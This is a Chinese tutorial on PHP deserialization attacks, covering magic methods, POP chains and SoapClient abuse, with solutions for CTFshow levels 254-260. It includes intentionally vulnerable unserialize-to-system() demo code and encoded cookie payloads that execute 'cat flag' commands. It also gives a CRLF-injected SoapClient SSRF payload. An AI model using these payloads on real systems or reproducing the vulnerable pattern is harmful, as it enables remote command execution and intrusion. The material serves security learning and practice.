day45 PHP反序列化POP链构造魔术方法原生类

news2025/1/8 6:56:26

前言

#知识点:

1、什么是反序列化操作?-格式转换

2、为什么会出现安全漏洞?-魔术方法

3、反序列化漏洞如何发现? -对象逻辑

4、反序列化漏洞如何利用?-POP链构造

补充:反序列化利用大概分类三类

-魔术方法的调用逻辑-如触发条件

-语言原生类的调用逻辑-如SoapClient

-语言自身的安全缺陷-如CVE-2016-7124

#反序列化课程点:

-PHP&Java&Python

序列化:对象转换为数组或字符串等格式

反序列化:将数组或字符串等格式转换成对象

serialize()//将一个对象转换成一个字符串

unserialize()//将字符串还原成一个对象

#PHP反序列化漏洞

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

#魔术方法利用点分析:

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:

__construct()://构造函数,当对象new的时候会自动调用

__destruct()://析构函数当对象被销毁时会被自动调用

__wakeup()://unserialize()时会被自动调用

__invoke()://当尝试以调用函数的方法调用一个对象时,会被自动调用

__call()://在对象上下文中调用不可访问的方法时触发

__callStatci()://在静态上下文中调用不可访问的方法时触发

__get()://用于从不可访问的属性读取数据

__set()://用于将数据写入不可访问的属性

__isset()://在不可访问的属性上调用isset()或empty()触发

__unset()://在不可访问的属性上使用unset()时触发

__toString()://把类当作字符串使用时触发

__sleep()://serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用

反序列化-魔术方法&漏洞引发&变量修改等

<?php

//序列化&反序列化

classdemotest{

public$name='xiaodi';

public$sex='man';

public$age='29';

}

$example=newdemotest();

$s=serialize($example);//序列化

$u=unserialize($s);//反序列化

echo$s.'<br>';

var_dump($u);

echo'<br>';

//O:8:"demotest":3:{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man";s:3:"age";s:2:"29";}

//object(demotest)#2 (3) { ["name"]=> string(6) "xiaodi" ["sex"]=> string(3) "man" ["age"]=> string(2) "29" }

//安全问题

classA{

public$var='echo test';

publicfunctiontest(){

echo$this->var;

}

publicfunction__destruct(){

echo'x'.'<br>';

}

publicfunction__construct(){

echo'__construct'.'<br>';

}

publicfunction__toString(){

return'__toString'.'<br>';

}

}

//无需函数,创建对象触发魔术方法

//$a=new A();//触发__construct

//$a->test();//触发test

//echo $a;//触发__toString

//触发__destruct

echoserialize($a);

$t=unserialize('O:1:"A":1:{s:3:"var";s:9:"echo test";}');

$t->test();


触发了魔术方法__construct

//触发了destruct()的魔术方法 ,不需要new一个对象就能触发类里面的函数

//漏洞出现

classB{

publicfunction__destruct(){

system('ipconfig');

}

publicfunction__construct(){

echo'xiaodisec'.'<br>';

}

}

//函数引用,无对象创建触发魔术方法

//?x=O:1:"B":1:{s:4:"test";s:3:"ver";}

unserialize($_GET[x]);

//$b=new b();

//echo serialize($b);

//触发了对象销毁的魔术方法。

classC{

public$cmd='ipconfig';

publicfunction__destruct(){

system($this->cmd);

}

publicfunction__construct(){

echo'xiaodisec'.'<br>';

}

}

//函数引用,无对象创建触发魔术方法自定义变量

//?c=O:1:"C":1:{s:3:"cmd";s:3:"ver";}

unserialize($_GET[c]);

?>

服务器将用户输入的数据进行反序列化,导致用户可以通过修改字符串里的参数,来触发魔术方法,导致任意命令执行。

CTFSHOW-关卡254到260-原生类&POP构造

#CTFSHOW-关卡254到260-原生类&POP构造

254-对象引用执行逻辑

username=xxxxxx&password=xxxxxx

255-反序列化变量修改1

Code:

public $isVip=true;

$a=new ctfShowUser();

echo urlencode(serialize($a));

Get:username=xxxxxx&password=xxxxxx

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

256-反序列化参数修改2

CODE:

public $username='x';

public $password='y';

public $isVip=true;

$a=new ctfShowUser();

echo urlencode(serialize($a));

GET:username=x&password=y

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

257-反序列化参数修改&对象调用逻辑

<?php

class ctfShowUser{

private $class;

publicfunction__construct(){

$this->class=new backDoor();

}

}

class backDoor{

private $code='system("cat f*");';

}

$b=new ctfShowUser();

echo serialize($b);

?>

GET:username=xxxxxx&password=xxxxxx

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D

258-反序列化参数修改&对象调用逻辑

<?php

classctfShowUser{

public$class='backDoor';

publicfunction__construct(){

$this->class=newbackDoor();

}

}

classbackDoor{

public$code="system('cat flag.php');";

}

$a=serialize(newctfShowUser());

$b=str_replace(':11',':+11',$a);

$c=str_replace(':8',':+8',$b);

echourlencode($c);

?>

GET:username=xxxxxx&password=xxxxxx

COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

259-原生态类&call魔术方法&配合SSRF

参考:https://dar1in9s.github.io/2020/04/02/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8/#Exception

生成序列化时记得开启SoapClient拓展:php.ini中启用php_soap.dll

<?php

$target='http://127.0.0.1/flag.php';

$post_string='token=ctfshow';

$b=newSoapClient(null,array('location'=>$target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"ssrf"));

$a=serialize($b);

$a=str_replace('^^',"\r\n",$a);

echourlencode($a);

?>

vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

260-字符串序列化

ctfshow=ctfshow_i_love_36D

#CMS代码审计-Typecho反序列化&魔术方法逻辑

https://www.anquanke.com/post/id/155306

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/75561.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

重磅来袭!共600页,又一分牛逼的Python文档面世!

前言 本文是为了帮大家快速学习 Python 中知识点&#xff0c;这套资料涵盖了诸多学习内容&#xff1a;面试题&#xff0c;教材视频&#xff0c;实战资料&#xff0c;电子书籍。 相信可以帮助大家在最短的时间内&#xff0c;能达到事半功倍效果&#xff0c;用来复习也是非常不…

150行代码写个低配版WPS?:手把手教你实现+附完整源码

前言&#xff1a;通过一个简单实例来实现Java的GUI编程&#xff0c;对于新手较为友好&#xff0c;且有一定的实用性&#xff0c;正在学习Java的同学看过来&#xff01;&#xff01;包教包会&#xff0c;如有疑问欢迎私信询问&#xff01; 目录 实例展示 一、GUI编程基本概念 …

java面向对象----抽象类 接口

目录 抽象类与抽象方法 概念 抽象类应用 接 口 概念 接口的特点&#xff1a; 接口应用举例 Java 8中关于接口的改进 内部类 如何声明局部内部类 局部内部类的特点 匿名内部类 总结 抽象类与抽象方法 概念 随着继承层次中一个个新子类的定义&#xff0c;类变得越…

机器学习之多元线性回归

1、多元线性回归模型&#xff1a;定义&#xff1a;具有多个特征的线性回归模型 多元线性回归模型&#xff0c;见下图&#xff1a; 多元线性回归总结&#xff08;参数、模型、损失函数、梯度下降算法&#xff09;见下图&#xff1a;【注意&#xff1a;梯度下降算法每次都是同时…

Vue2中过滤器的用法详解

目录 一、过滤器的概念 二、过滤器的使用位置 三、过滤器的分类 1、全局过滤器 2、本地过滤器 四、过滤器应用实例 1、使用过滤器实现省略号 2、使用过滤器处理时间戳 五、Vue3中已废弃过滤器 过滤器是vue中的一个特性&#xff0c;作用是用于对文本进行格式化的作用。…

动态与静态获取元素

&#x1f335;知识点简介 静态获取&#xff08;querySelectorAll&#xff09;时&#xff0c;选出的所有元素的数组&#xff0c;不会随着文档操作而改变&#xff1b; 动态获取&#xff08;getElementById&#xff09;时&#xff0c;选出的所有元素的数组&#xff0c;会随着文档的…

Paddle 点灯人 之 Tensor

Paddle 点灯人 之 Tensor 文章目录Paddle 点灯人 之 TensorPaddle点灯人介绍Tensor介绍Pytorch和Paddle的相似之处创建张量Tensor图片/文本转TensorDataLoader不需要加ToTensorPaddle中的 Tensor 的属性形状 shape数据类型&#xff08;dtype&#xff09;Tensor 的设备位置&…

高压放大器驱动压电器件工作原理

高压放大器在实际应用中经常会进行电容性负载驱动&#xff0c;对压电器件进行驱动&#xff0c;那么工作原理是什么呢&#xff0c;下面就请安泰电子来为我们讲解一下。 高压放大器是提高信号电压的装置&#xff0c;当负载是谐振电路或者耦合电路的时候&#xff0c;要求特定频率范…

Mybatis源码解析(十):一级缓存和二级缓存

Mybatis源码系列文章 手写源码&#xff08;了解源码整体流程及重要组件&#xff09; Mybatis源码解析(一)&#xff1a;环境搭建 Mybatis源码解析(二)&#xff1a;全局配置文件的解析 Mybatis源码解析(三)&#xff1a;映射配置文件的解析 Mybatis源码解析(四)&#xff1a;s…

转行学python?到底值不值

大学毕业后相当迷茫&#xff0c;不知道做些什么&#xff0c;于是跟着潮流去学了python&#xff0c;当年2w多买的python教程&#xff0c;三个月的时间成功上岸&#xff0c;现在用不着了&#xff0c;文末有领取方式。 面对当前情况&#xff0c;让众多职场人开始紧张&#xff0c;…

《棒球大联盟2nd》:青春赛场·棒球1号位

茂野大吾是个有着现役职业棒球选手的父亲的小学生。他因为向往曾经在棒球大联盟活跃的父亲吾郎&#xff0c;而开始了在少年棒球队“三船海豚队”的棒球训练。但是&#xff0c;因为背负着茂野二世这个称号的压力&#xff0c;无法发挥出原来的水平&#xff0c;以至于1年还不到就放…

基于java+springmvc+mybatis+jsp+mysql的整体衣柜定制系统

项目介绍 管理员后台&#xff1a; 功能&#xff1a;个人中心、客户管理、导购管理、店长管理、厂家管理 客户后台&#xff1a; 功能&#xff1a;个人中心、款式信息管理、款式预订管理、材料信息管理、材料预订管理、定制订单管理、安装信息管理、订单评价管理、联系客户管理 …

我发现了一个React、Vue等所有前端框架都存在的隐秘Bug?

什么 Bug&#xff1f; 昨天有个朋友请教了我一个问题&#xff0c;她在使用原生的 Details 元素封装一个手风琴组件。但是无论如何都不能按照预期工作。 起初我认为是她水平比较差&#xff0c;代码写的有问题。但是她一再向我保证绝对不是她的问题。所以我就抽出时间帮她看了一…

DP2515国产带SPI接口CAN总线控制器芯片兼容替代MCP2515/MCP2515-I/ST

目录什么是CAN&#xff1f;DP2515简介芯片特性参考原理图什么是CAN&#xff1f; CAN是控制器局域网络(Controller Area Network, CAN)的简称&#xff0c;是如今是国际上应用最广泛的现场总线之一&#xff0c;是ISO国际标准化的串行通信协议。在汽车产业中&#xff0c;出于对安…

项目管理必备,教你如何制作甘特图

甘特图是项目管理中常用的工具&#xff0c;又被称为横道图。 由表格和条形图组成&#xff0c;左侧显示项目中所有的任务及时间&#xff0c;右侧一条状进度条显示项目每个任务的进度。 因为它极其好用&#xff0c;不仅在比较大型和复杂的项目中被广泛使用&#xff0c;在日常工…

iPhone 微信多开,如何在苹果手机上安装多个微信,爱思助手怎么用?IPA文件怎么弄?

苹果实现微信多开,用爱思助手就能实现,简单易上手。爱思助手怎么用?IPA文件怎么弄? 设备:Mac(11.6)/14pm 助手:爱思助手 需求:在最新的苹果手机上实现微信多开 博主上个月底抢的14pm终于到手了,之前多开微信一直用的大灰免费版的,怎么说呢?挺好用的但是不稳定,…

简单的有限状态机(FSM)的示例一

一个简单的有限状态机&#xff0c; 三种状态&#xff1a; 停止状态运行状态暂停状态 三个事件 StartPauseStop 状态转换说明&#xff1a; Stopped状态&#xff1a;通过Start事件转换为Running状态Running状态&#xff1a;通过Pause事件可转换为Pause状态Pause状态&#…

什么是零知识证明(ZK Proof)?Web2.0通往Web3.0的入口技术

古老的难题 女&#xff1a;你爱我吗&#xff1f; 男&#xff1a;爱&#xff01; 女&#xff1a;怎么证明&#xff1f; 男&#xff1a;…… 零知识证明的定义 零知识证明(Zero-Knowledge Proof)也叫做最小泄露证明&#xff0c;能充分证明自己是某种权益的合法拥有者&#xff0c…

【Docker】第四章 容器管理

4.1 创建容器常用选项 指令 描述 -i, --interactive 交互式 -t, --tty 分配一个伪终端 -d, --detach 运行容器到后台 -a, --attach list 附加到运行的容器 --dns list 设置DNS服务器 -e, --env list 设置环境变量 --env-file list 从文件读取环境变量 -p, --p…

知识点14--搭建k8s本地测试集群

首先要做安装前的准备&#xff1a; 1、最少三台节点&#xff0c;CentOS 7系统&#xff0c;每台不低于4核4G资源&#xff0c;并配置host域名 [roothdp1 ~] cat /etc/hosts 192.168.88.186 hdp1 192.168.88.187 hdp2 192.168.88.188 hdp32、所有节点保证时间同步、并做SSH互信 …